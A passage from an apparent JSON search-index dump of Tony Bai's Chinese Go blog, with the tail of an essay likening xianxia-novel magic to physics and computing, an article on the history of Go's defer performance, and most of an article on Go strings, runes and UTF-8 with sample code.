除了扭曲时空，修仙世界还有一种令人不寒而栗的力量——幻阵。尤其是仙界篇中冥寒仙宫那个足以以假乱真的“大千世界幻阵”，它并非简单的视觉欺骗，而是一个拥有独立法则和亿万生灵的“真实世界”。\n这让我们立刻联想到了另一部伟大的作品——《黑客帝国》（The Matrix）。\n顶级幻阵 = 私有化Matrix服务器： 影片中，人类活在由机器构建的虚拟世界“母体”中。而冥寒仙宫的幻阵，本质上就是一个由布阵道祖创建并维护的**“私有化Matrix”**。它绕过了修士的肉体感官，直接作用于其“元神”或“神识”（可以理解为意识的量子信息态），向其输入一个完整、自洽、毫无破绽的虚拟世界信息流。\n神识 = 算力与防火墙： 为何韩立能凭借强大的神识勘破幻阵？在这里，“神识”可以被理解为修士意识的**“个人算力”与“网络防火墙”**。强大的神识能够实时分析海量信息流，检测到其中的微小不一致（Bug或逻辑漏洞），或者能强行抵御外部信号的入侵，从而大喝一声：“原来是幻术！”并强制“下线”。\n大千世界幻阵 = 真实副本（Digital Twin）： 这个幻阵之所以恐怖，因为它可能不是凭空捏造，而是布阵者对某个真实世界进行了完美的1:1信息复制，创造了一个“数字孪生”世界。在这个副本中，万事万物都遵循与原型世界完全一致的“物理法则”（算法），因此身处其中的生灵，哪怕穷尽一生也无法发现破绽。\n这最终引向了那个古老的哲学思辨——“缸中之脑”。如果一个幻境完美到你永远无法证明它是假的，那么这个“幻境”与“真实”，究竟还有区别吗？韩立在幻阵中的挣扎，其实也是我们很多个人在看完《黑客帝国》这部电影后，对自身存在真实性的终极追问。\n灵光护体与禁制 —— 力场护盾及可编程物质 从宏大的时空理论回到激烈的战斗场景，修士的“护体灵光”和无处不在的“禁制”，同样能在未来科技的蓝图中找到令人兴奋的对应——那就是科幻迷们心心念念的力场护盾（Force Field）与可编程物质（Programmable Matter）。\n护体灵光 = 个人化力场护盾： 当修士面对攻击时，体表会瞬间浮现一层流光溢彩的能量罩。这并非某种魔法，而极有可能是一个由修士自身能量（灵力）维持的个人化力场护盾。正如《星际迷航》中的企业号能张开防御屏，修士通过功法，将灵力转化为特定的能量形态（如强磁场约束的等离子体），在体表形成一个动态屏障，用以偏转或吸收来袭的攻击。功法不同，护盾属性各异，这与力场护盾可以调整频率以应对不同类型攻击的设定如出一辙。\n禁制 = 宏观尺度的可编程物质： 守护洞府的强大禁制，由亿万个微小符文构成，这与“可编程物质”的概念简直是天作之合。想象一下，每一个闪烁的“符文”，就是一个能量态的“智能元胞”。布阵者通过神识，为这亿万个元胞预先设定好了响应逻辑（程序）。一旦有外敌入侵，这些元胞便会根据预设程序瞬间重组，形成锋利的刀剑、坚固的壁垒或是困人心神的迷雾。\n破禁之道：破解与过载打击\n面对如此复杂的系统，修士们通常有两条路可走：\n以巧破禁： 精通阵法者，会像顶尖黑客一样，仔细研究禁制（分布式系统）的符文结构（代码逻辑），寻找其薄弱环节或逻辑漏洞，然后用极小的代价将其瘫痪或绕过。这需要极高的“技术水平”（阵法造诣）。\n蛮力破禁： 这更为常见，也更为直接。它不再寻求破解，而是进行一场纯粹的能量对撞，如同用压倒性的DDoS（分布式拒绝服务）攻击去冲击一台服务器。禁制系统的维持和响应都需要消耗能量。蛮力破禁就是用远超其能量储备或能量疏导效率上限的攻击，持续不断地轰击。当禁制的能量核心（灵石或阵眼）被耗尽，或者其符文结构因无法承受如此巨大的能量冲击而崩溃时，禁制自然告破。\n这也就解释了为何高阶修士面对低阶禁制，往往一击即溃。因为双方的**能量输出功率（Power Output）**根本不在一个数量级上。\n小结：殊途同归的求索 回顾我们这场横跨仙侠与科学的思想漫游，旅程是如此的波澜壮阔：从修士最基本的御风飞行（引力操控），到守护自身的能量力场（护体灵光）；从跨越星海的界面飞升（膜宇宙），到折叠空间的传送虫洞（传送阵）；从操控时间流速的至高法则，到构建虚拟实相的骇客帝国（幻阵）…… 我们发现，《凡人修仙传》中那些最天马行空的设定，竟能在现代物理学以及信息学的前沿理论中找到如此多的共鸣。\n这并非巧合，而是因为无论是东方玄幻的“参悟天道”，还是现代科学的“探索规律”，其本质都是智慧生命试图理解宇宙运行的根本法则、并最终掌握自身命运的渴望。\n韩立内视己身，神游太虚，追寻的是大道的本源；科学家仰望星空，对撞粒子，探索的是宇宙的真理。或许，他们看到的，是同一座山峰在不同方向的倒影。\n也许在宇宙的某个角落，真的存在着一个可以用“灵力”来撬动物理法则的文明。对于宇宙而言，魔法和科学，或许只是对同一套规则的不同解读方式罢了。\n参考资料 《三体中的物理学》- https://book.douban.com/subject/33435186/ 膜宇宙理论 – https://arxiv.org/abs/hep-th/0209261 虫洞 – https://simple.wikipedia.org/wiki/Wormhole 你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/10/15/physics-in-fanren/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/physics-in-fanren-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/10/15/physics-in-fanren\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/10/15/physics-in-fanren\"\u003ehttps://tonybai.com/2025/10/15/physics-in-fanren\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e李淼教授的《\u003ca href=\"https://book.douban.com/subject/33435186/\"\u003e三体中的物理学\u003c/a\u003e》曾让我们惊叹，原来恢弘的科幻背后，是坚实而又前沿的科学基石。读完《凡人修仙传》人界/灵界篇后，一个念头在我脑海中挥之不去：我们能否为韩立的修仙世界，构建一个自洽的“物理模型”？\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Image 2\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/physics-in-fanren-8.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e这并非要用科学去“祛魅”修仙，恰恰相反，这是一场思想实验。我们旨在探讨：如果修仙世界真的存在，其背后的“天道法则”是否能在现代物理学的框架内找到惊人相似的“投影”？\u003c/p\u003e","title":"《凡人修仙传中的物理学》：当韩天尊遇见爱因斯坦"},{"content":"\n本文永久链接 – https://tonybai.com/2025/10/15/go-archaeology-defer\n大家好，我是Tony Bai。\n在 Go 语言的所有关键字中，defer 无疑是最具特色和争议的之一。它以一种近乎“魔法”的方式，保证了资源清理逻辑的执行，极大地提升了代码的可读性和健壮性。f, _ := os.Open(“…”); defer f.Close() 这一行代码，几乎是所有 Gopher 的肌肉记忆。\n然而，在这份优雅的背后，曾几何时，defer 却背负着“性能杀手”的恶名。在 Go 的历史长河中，无数资深开发者，包括标准库的维护者们，都曾被迫在代码的可维护性与极致性能之间做出痛苦的抉择，含泪删掉 defer 语句，换上丑陋但高效的手动 if err != nil 清理逻辑。\n你是否好奇：\ndefer 的早期实现究竟“慢”在哪里？为什么一个简单的函数调用会被放大数十倍的开销？ 从 Go 1.13 到 Go 1.14，Go 团队究竟施展了怎样的“魔法”，让 defer 的性能提升了超过 10 倍，几乎达到了与直接调用函数相媲美的程度？ 为了实现这场“性能革命”，defer 在编译器和运行时层面，经历了怎样一场从“堆分配”到“栈上开放编码(open-coded defer)”的“心脏手术”？ 今天，就让我们再一次化身“Go 语言考古学家”，在Go issues以及Go团队那些著名的演讲资料中挖掘，并结合 Go 官方的设计文档，深入 defer 性能演进的“地心”，去完整地再现这场波澜壮阔的“救赎之路”。\n“事后”的智慧：Defer 的设计哲学与独特性 在我们深入 defer 性能的“地心”之前，让我们先花点时间，站在一个更高的维度，欣赏一下 defer 这个语言构造本身的设计之美。defer机制 并非 Go 语言的首创，许多语言都有类似的机制来保证资源的确定性释放，但Go中defer 机制的实现方式却独树一帜，充满了 Go 语言独有的哲学。\n保证“清理”的殊途同归 下面是几种主流语言的资源管理范式，这让我们能更清晰地看清 defer 的坐标：\nC++ 的 RAII (Resource Acquisition Is Initialization): 这是一种极其强大和高效的范式。资源（如文件句柄、锁）的生命周期与一个栈上对象的生命周期绑定。当对象离开作用域时，其析构函数 (destructor) 会被编译器自动调用，从而释放资源。RAII 的优点是静态可知、零运行时开销。但它强依赖于 C++ 的析构函数和对象生命周期管理，对于一门拥有垃圾回收（GC）的语言来说，这种模式难以复制。\nJava/Python 的 try-finally: 这是另一种常见的保证机制。finally 块中的代码，无论 try 块是正常结束还是抛出异常，都保证会被执行。try-finally 同样是静态可知的，编译器能明确地知道在每个代码块退出时需要执行什么。\n这两种机制的共同点是：它们都是块级 (block-level) 的，并且清理逻辑的位置往往与资源获取的位置相距甚远。\nDefer 的三大独特优势 相比之下，Go 的 defer 提供了三种独特的优势，使其在代码的可读性和灵活性上脱颖而出：\n就近原则，极致清晰 (Clarity): 这是 defer 最为人称道的优点。清理逻辑（defer f.Close()）可以紧跟在资源获取逻辑（os.Open(…)）之后。这种“开闭成对”的书写方式，极大地降低了程序员的心智负担，你再也不用在函数末尾的 finally 块和函数开头的资源申请之间来回跳转，从而有效避免了忘记释放资源的低级错误。\n函数级作用域，保证完整性 (Robustness): defer 的执行时机与函数（而非代码块）的退出绑定。这意味着，无论函数有多少个 return 语句，无论它们分布在多么复杂的 if-else 分支中，所有已注册的 defer 调用都保证会在函数返回前被执行。这对于重构和维护极其友好——你可以随意增删 return 路径，而无需担心破坏资源清理的逻辑。更重要的是，在 panic 发生时，defer 依然会被执行，这为构建健壮的、能从异常中恢复的常驻服务提供了坚实的基础。\n动态与条件执行，极致灵活 (Flexibility): 这是 defer 与 RAII 和 try-finally 最本质的区别。defer 是一个完全动态的语句，它可以出现在 if 分支、甚至 for 循环中。\nif useFile { f, err := os.Open(\u0026#34;...\u0026#34;) // ... defer f.Close() // 只在文件被打开时，才注册清理逻辑 } 这种条件式清理的能力，是其他静态机制难以优雅表达的。\n“动态”的双刃剑 然而，defer 的动态性也是一把双刃剑。\n正是因为它可以在循环中被调用，defer 在理论上可以被执行任意多次。编译器无法在编译期静态地知道一个函数到底会注册多少个 defer 调用。\n这种不确定性，迫使 Go 的早期设计者必须借助运行时的帮助，通过一个动态的链表来管理 defer 调用栈。这就引出了我们即将要深入探讨的核心问题——为了这份极致的灵活性和清晰性，defer 在诞生之初，付出了怎样的性能代价？而 Go 团队又是如何通过一场载入史册的编译器革命，几乎将其“抹平”的？\n现在，让我们带上“考古工具”，正式开始我们的性能探源之旅。\n“原罪”：Go 1.13 之前的 defer 为何如此之慢？ 在GopherCon 2020上，Google工程师Dan Scales为大家进行了一次经常的有关defer性能提升的演讲，在此次演讲中，他先为大家展示了一张令人震惊的性能对比图，也揭示了一个残酷的事实：在 Go 1.12 及更早的版本中，一次 defer 调用的开销高达 44 纳秒，而一次普通的函数调用仅需 1.7 纳秒，相差超过 25 倍！\n这巨大的开销从何而来？答案隐藏在早期的实现机制中：一切 defer 都需要运行时（runtime）的深度参与，并且都涉及堆分配（heap allocation）。\n让我们通过 Go 团队的内部视角，来还原一下当时 defer 的工作流程：\n创建 _defer 记录： 每当你的代码执行一个 defer 语句时，编译器会生成代码，在堆上分配一个 _defer 结构体。这个结构体就像一张“任务卡”，记录了要调用的函数指针、所有参数的拷贝，以及一个指向下一个 _defer 记录的指针。 deferproc 运行时调用： 创建好“任务卡”后，程序会调用运行时的 runtime.deferproc 函数。这个函数负责将这张新的“任务卡”挂载到当前 goroutine 的一个链表上。这个链表，我们称之为“defer 链”。 deferreturn 运行时调用： 当函数准备退出时（无论是正常 return 还是 panic），编译器会插入一个对 runtime.deferreturn 的调用。这个函数会像“工头”一样，从 defer 链的尾部开始（后进先出 LIFO），依次取出“任务卡”，并执行其中记录的函数调用。 看到了吗？每一次 defer，都至少包含：\n一次堆内存分配（创建 _defer 记录）。 两次到运行时的函数调用 (deferproc 和 deferreturn)。 堆分配本身就是昂贵的操作，因为它需要加锁并与垃圾回收器（GC）打交道。而频繁地在用户代码和 runtime 之间切换，也带来了额外的开销。正是这“三座大山”，让 defer 在高性能场景下变得不堪重负。\nGo 1.13 迈出了优化的第一步：对于不在循环中的 defer，编译器尝试将 _defer 记录分配在栈上。这避免了堆分配和 GC 的压力，使得 defer 的开销从 44ns 降低到了 32ns。这是一个显著的进步，但离“零成本”的目标还相去甚甚远。defer 依然需要与 runtime 交互，依然需要构建那个链表。\n“革命”：Go 1.14 的 Open-Coded Defer Go 1.14 带来的，不是改良，而是一场彻底的革命。Dan Scales 和他的同事们提出并实现了一个全新的机制，名为 “开放编码的 defer (Open-Coded Defer)”。\n其核心思想是：对于那些简单的、非循环内的 defer，我们能不能彻底摆脱 runtime，让编译器直接在函数内生成所有清理逻辑？\n答案是肯定的。这场“革命”分为两大战役：\n战役一：在函数退出点直接生成代码 编译器不再生成对 deferproc 的调用。取而代之的是：\n栈上“专属”空间： 在函数的栈帧（stack frame）中，为每个 defer 调用的函数指针和参数预留“专属”的存储位置。 位掩码（Bitmask）： 同样在栈上，引入一个 _deferBits 字节。它的每一个 bit 位对应一个 defer 语句。当一个 defer 被执行时，不再是创建 _defer 记录，而是简单地将 _deferBits 中对应的 bit 位置为 1。这是一个极快、极轻量的操作。 当函数准备退出时，编译器也不再调用 deferreturn。它会在每一个 return 语句前，插入一段“开放编码”的清理逻辑。这段逻辑就像一个智能的“清理机器人”，它会逆序检查 _deferBits 的每一位。如果 bit 位为 1，就从栈上的“专属空间”中取出函数指针和参数，直接发起调用：\n看到了吗？在正常执行路径下，整个过程没有任何堆分配，没有任何 runtime 调用！defer 的成本，被降低到了几次内存写入（保存参数和设置 bit 位）和几次 if 判断。这使得其开销从 Go 1.13 的 32ns 骤降到了惊人的 3ns，与直接调用函数（1.7ns）的开销几乎在同一个数量级！\n战役二：与 panic 流程的“深度整合” 你可能会问：既然没有 _defer 链表了，当 panic 发生时，runtime 怎么知道要执行哪些 defer 呢？\n这正是 Open-Coded Defer 设计中最精妙、也最复杂的部分。Go 团队通过一种名为 funcdata 的机制，在编译后的二进制文件中，为每个使用了 Open-Coded Defer 的函数，都附上了一份“藏宝图”。\n这份“藏宝图”告诉 runtime：\n这个函数使用了开放编码。 _deferBits 存储在栈帧的哪个偏移量上。 每个 defer 调用的函数指针和参数，分别存储在栈帧的哪些偏移量上。 当 panic 发生时，runtime 的 gopanic 函数会扫描 goroutine 的栈。当它发现一个带有 Open-Coded Defer 的栈帧时，它就会：\n读取这份“藏宝图” (funcdata)。 根据“藏宝图”的指引，在栈帧中找到 _deferBits。 根据 _deferBits 的值，再从栈帧中找到并执行所有已激活的 defer 调用。 这个设计，巧妙地将 defer 的信息编码在了栈帧和二进制文件中，使得 panic 流程依然能够正确地、逆序地执行所有 defer，同时保证了正常执行路径的极致性能。\n下面是Dan Scales给出的一个defer性能对比结果：\n我们看到：采用Open-coded defer进行优化后，defer的开销非常接近与普通的函数调用了(1.x倍)。\n小结：“救赎”的完成与新的约定 defer 的性能“救赎之路”，从 Go 1.12 的 44ns，到 Go 1.13 的 32ns（栈分配 _defer 记录），再到 Go 1.14 的 3ns（Open-Coded Defer），其演进历程波澜壮阔，是 Go 团队追求极致性能与工程实用性的最佳例证。\n下面是汇总后的各个Go版本的defer实现机制与开销数据：\n这场“革命”之后，Dan Scales 在演讲的最后发出了强有力的呼吁，这也应该成为我们所有 Gopher 的新共识：\n“defers should now be used whenever it makes sense to make code clearer and more maintainable. defer should definitely not be avoided for performance reasons.”\n（现在，只要能让代码更清晰、更易于维护，就应该使用 defer。绝对不应该再因为性能原因而避免使用 defer。）\ndefer 的“原罪”已被救赎。从现在开始，请放心地使用它，去编写更优雅、更健壮的 Go 代码吧。\n参考资料 Proposal: Low-cost defers through inline code, and extra funcdata to manage the panic case – https://go.googlesource.com/proposal/+/master/design/34481-opencoded-defers.md GopherCon 2020: Implementing Faster Defers by Dan Scales – https://www.youtube.com/watch?v=DHVeUsrKcbM cmd/compile: allocate some defers in stack frames – https://github.com/golang/go/issues/6980 你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/10/15/go-archaeology-defer/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/go-archaeology-defer-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/10/15/go-archaeology-defer\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/10/15/go-archaeology-defer\"\u003ehttps://tonybai.com/2025/10/15/go-archaeology-defer\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在 Go 语言的所有关键字中，defer 无疑是最具特色和争议的之一。它以一种近乎“魔法”的方式，保证了资源清理逻辑的执行，极大地提升了代码的可读性和健壮性。f, _ := os.Open(“…”); defer f.Close() 这一行代码，几乎是所有 Gopher 的\u003cstrong\u003e肌肉记忆\u003c/strong\u003e。\u003c/p\u003e","title":"Go 考古：defer 的“救赎”——从性能“原罪”到零成本的“开放编码”"},{"content":"\n本文永久链接 – https://tonybai.com/2025/10/13/string-and-rune-in-go\n大家好，我是Tony Bai。\n“为什么我的字符又乱码了？！”\n这是一个在软件开发历史上，曾让无数程序员彻夜难眠的哀嚎。处理文本，是编程中最基础的任务之一，但其背后关于编码 (Encoding) 和字符集 (Character Set) 的水，远比看起来要深。正如 Joel Spolsky 在其经典文章中疾呼的那样，这是每位软件开发者都必须了解的“绝对最低限度”的知识。\n幸运的是，作为 Go 开发者，我们站在了巨人的肩膀上。Go 语言在设计之初，就以一种“独断”而富有远见的方式，为我们解决了大部分历史遗留的编码难题。然而，理解其背后的设计哲学，特别是 string 与 rune 这对“双子星”的共舞，依然是区分一名普通 Gopher 与一名优秀 Gopher 的关键。\n本文将带你重温编码的基础，并深入探讨 Go 是如何从语言设计的根源上，让我们得以优雅地驰骋于多语言文本的世界。\n回到本源——计算机不认识“字符”，只认识“比特” 让我们先直面一个最基本、但又常常被遗忘的事实：计算机的世界里没有字母、数字或符号，只有比特 (bit)——0 和 1 的序列。计算机所能存储和处理的一切，无论是文本、图片还是声音，最终都必须被翻译成这种二进制形式。为了让这些比特串代表人类可读的文本，我们需要一套规则，这套规则就是编码 (Encoding)。\n我们可以将这个过程拆分为两个核心概念：\n字符集 (Character Set)：一个抽象的符号集合。例如，ASCII 字符集包含了 128 个字符，包括大小写英文字母、0-9 的数字、以及各种标点和控制符号。你可以把它想象成一本“字典”，里面列出了所有“合法”的字符。\n编码 (Encoding)：一套将字符集中的每个符号，映射为特定比特序列的具体规则。例如，在 ASCII 编码中，这本“字典”规定了字母 A 对应的“页码”是 65，而 A 在计算机中的比特表示就是 65 的二进制形式 01000001。\n乱码问题的根源，就在于使用了错误的“字典”和“编码规则”去解读一段比特序列。想象一下，一段用 Shift-JIS (一种日语编码) 写入的比特流，如果被错误地用 Mac Roman (一种西欧编码) 的“字典”来查找，结果自然是一堆无法理解的“天书”，也就是我们俗称的“乱码”。\nGo 的“独断”——拥抱 Unicode 与 UTF-8 在 Go 诞生之前，软件世界是一片混乱的“编码战国时代”。ASCII 只有 128 个字符，连欧洲语言中常见的 é 或 ü 都无法表示。为了解决这个问题，各种各样的编码方案如雨后春笋般涌现：西欧有 ISO-8859-1，中国大陆有 GB-2312、GBK以及GB18030，中国台湾省有 BIG-5…… 每种编码都定义了自己的字符集和规则，彼此之间互不兼容。\n最终，为了“书同文，车同轨”，Unicode 应运而生。它旨在创建一个包罗万象的“超级字符集”，为世界上每一种语言的每一个字符都分配一个唯一的数字编号，这个编号被称为码点 (Code Point)。\n然而，Unicode 本身并不是一种编码，它只是一本巨大的“字典”。如何将这些码点（数字）高效地转换为比特序列，则是由 UTF (Unicode Transformation Format) 家族的编码方案来完成的，其中最著名的就是 UTF-8。\nGo 的设计者们，在面对这段混乱的历史时，做出了一个极其重要的、带有“独断”色彩的决定：将 UTF-8 作为 Go 语言生态的默认和核心编码。\n这个决定，体现在 Go 语言的每一个角落：\nGo 源码文件被规定必须以 UTF-8 编码保存。 Go 的 string 类型被设计为不可变的字节序列，并且标准库中的绝大多数操作，都假定并优化这些字节是合法的 UTF-8 编码。 这与许多早期语言（比如 PHP 等）形成了鲜明对比，在那些语言中，字符串仅仅是“字节袋”，语言本身对其内部编码一无所知，将处理编码的复杂性完全推给了开发者。Go 的这个设计，从源头上为开发者扫清了最大的障碍。\nstring 与 rune 的设计哲学——字节与字符的清晰分离 Go 语言为了优雅地处理 Unicode，其核心设计哲学就是清晰地分离“字节”和“字符”这两个概念，并通过 string 和 rune 这两个核心类型来体现。理解它们的区别，是掌握 Go 文本处理的关键。\nstring：一个 string 的表示是一个只读的字节切片 ([]byte)。它存储的是文本的 UTF-8 编码后的字节序列。它是数据的物理表示。 rune：rune 是 Go 中用来代表一个 Unicode 码点 (Code Point) 的类型，它是 int32 的一个别名。你可以把它理解为 Go 世界中真正的“字符”。它是文本的逻辑表示。 这种底层设计，直接导致了 len() 和 for range 在处理字符串时，那令人“困惑”却又合乎逻辑的不同行为。\n一个示例，揭示所有秘密 让我们用一个包含中英文的字符串来做个实验，看看 Go 的设计哲学在实践中如何体现：\n// https://go.dev/play/p/TANnV9NTQi0 package main import ( \u0026#34;fmt\u0026#34; \u0026#34;unicode/utf8\u0026#34; ) func main() { s := \u0026#34;你好, Go\u0026#34; // --- len()：返回字节的数量 --- // 它的操作对象是 string 的物理表示 (bytes)。 // 在 UTF-8 中，一个英文字符占 1 个字节，一个中文字符占 3 个字节。 // 所以，字节总数 = 2*3 (你好) + 1 (,) + 1 ( ) + 2*1 (Go) = 10 fmt.Printf(\u0026#34;len(s) -\u0026gt; The number of bytes: %d\\n\u0026#34;, len(s)) // --- utf8.RuneCountInString()：返回字符（码点）的数量 --- // 它的操作对象是 string 的逻辑表示 (runes)。 // \u0026#34;你好, Go\u0026#34; 共有 6 个字符（码点）。 fmt.Printf(\u0026#34;Rune count -\u0026gt; The number of characters: %d\\n\u0026#34;, utf8.RuneCountInString(s)) fmt.Println(\u0026#34;\\n--- Iterating with standard for loop (by byte) ---\u0026#34;) // --- 传统的 for 循环：按字节遍历 --- // 这会逐一打印出字符串的 10 个字节。对于多字节字符，会产生乱码。 // 这种遍历方式在处理纯 ASCII 时是正确的，但在处理 Unicode 时是错误的。 for i := 0; i \u0026lt; len(s); i++ { fmt.Printf(\u0026#34;%x \u0026#34;, s[i]) } fmt.Println() fmt.Println(\u0026#34;\\n--- Iterating with for range (by rune) ---\u0026#34;) // --- for range 循环：Go 的魔法所在，按 rune 遍历 --- // for range 会自动解码 UTF-8 序列，每次迭代返回一个 rune 及其起始字节的索引。 // 这是在 Go 中遍历字符串内容的“正确”且地道的方式。 for index, r := range s { fmt.Printf(\u0026#34;index: %d, char: %c, bytes: %d\\n\u0026#34;, index, r, utf8.RuneLen(r)) } } 运行该示例输出如下结果：\nlen(s) -\u0026gt; The number of bytes: 10 Rune count -\u0026gt; The number of characters: 6 --- Iterating with standard for loop (by byte) --- e4 bd a0 e5 a5 bd 2c 20 47 6f --- Iterating with for range (by rune) --- index: 0, char: 你, bytes: 3 index: 3, char: 好, bytes: 3 index: 6, char: ,, bytes: 1 index: 7, char: , bytes: 1 index: 8, char: G, bytes: 1 index: 9, char: o, bytes: 1 这个例子清晰地告诉我们 Go 的设计哲学：\nlen(s) 给你的是字节长度，适用于网络传输、内存分配、缓冲区大小计算等底层、面向物理的场景。 for i := range s 给你的是字符 (rune)，适用于所有需要处理文本内容的、面向逻辑的业务场景。 这种对“字节”和“字符”的明确区分，是 Go 程序在处理多语言文本时如此健壮的根本原因。\nGo 开发者的日常：实践中的编码意识 尽管 Go 为我们做了很多，但在与外部世界交互时，编码意识依然不可或缺。\n文件 I/O：当你从一个文件中 io.Read 时，你读到的是原始的字节流。如果这个文件不是 UTF-8 编码的（例如，一个 GBK 编码的 .txt 文件），你必须使用像 golang.org/x/text/encoding 这样的包，将其显式地转换为 UTF-8 字符串后，才能在 Go 程序中安全地处理。 import ( \u0026#34;golang.org/x/text/encoding/simplifiedchinese\u0026#34; \u0026#34;golang.org/x/text/transform\u0026#34; ) // gb_reader 是一个读取 GBK 编码文件的 io.Reader // utf8_reader 将会是一个在读取时自动转换为 UTF-8 的 io.Reader utf8_reader := transform.NewReader(gbk_reader, simplifiedchinese.GBK.NewDecoder()) // 从 utf8_reader 中读取的数据现在可以安全地在 Go 中使用了 utf8Bytes, _ := io.ReadAll(utf8_reader) s := string(utf8Bytes) Web 开发：在处理 HTTP 请求和响应时，Content-Type 头中的 charset=utf-8 是你与客户端之间的“契约”。Go 的 net/http 库默认会很好地处理 UTF-8，但你需要确保所有与之交互的系统都遵守了这个契约。\n数据库交互：一个经典的“伪正常”陷阱是，应用程序以 UTF-8 方式与数据库通信，但数据库连接或表本身却被错误地设置为 latin1 等编码。由于 latin1 是单字节编码，它可以“吞下”任何字节序列。数据存入时看似正常，应用程序读出时也能正确解析回 UTF-8 字符串。但只要你通过数据库管理工具查看，或者在数据库层面进行排序、搜索，就会立刻看到乱码。确保你的数据库连接 DSN 中明确指定了 charset=utf8mb4，是至关重要的最佳实践。\n小结：站在巨人的肩膀上 Go 语言的设计，让我们不必再像前人那样，在各种编码的泥潭中苦苦挣扎。它通过将 UTF-8 提升为事实标准，并提供 string (字节序列) 和 rune (字符) 这一对强大而清晰的抽象，为我们构建了一个默认安全的文本处理世界。\n此外，理解Go中 len() 与 for range在操作 string 类型数据时的区别，不仅仅是掌握一个语言的“奇技淫巧”，更是洞察 Go 语言如何从根本上解决了困扰软件行业数十年的编码难题。这份与生俱来的编码优势，正是 Go 语言简约而不简单的一个最佳例证。\n如果想了解更多关于Go string和rune的“秘密”，可以进一步阅读我的《Go语言进阶课》的05讲。在《Go语言第一课》专栏的第13讲中，也有关于码点以及UTF-8编码的更为详细的讲解。\n参考资料 What Every Programmer Absolutely, Positively Needs To Know About Encodings And Character Sets To Work With Text – https://kunststube.net/encoding/ The Absolute Minimum Every Software Developer Absolutely, Positively Must Know About Unicode and Character Sets (No Excuses!) – https://www.joelonsoftware.com/2003/10/08/the-absolute-minimum-every-software-developer-absolutely-positively-must-know-about-unicode-and-character-sets-no-excuses/ 你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/10/13/string-and-rune-in-go/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/string-and-rune-in-go-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/10/13/string-and-rune-in-go\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/10/13/string-and-rune-in-go\"\u003ehttps://tonybai.com/2025/10/13/string-and-rune-in-go\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony 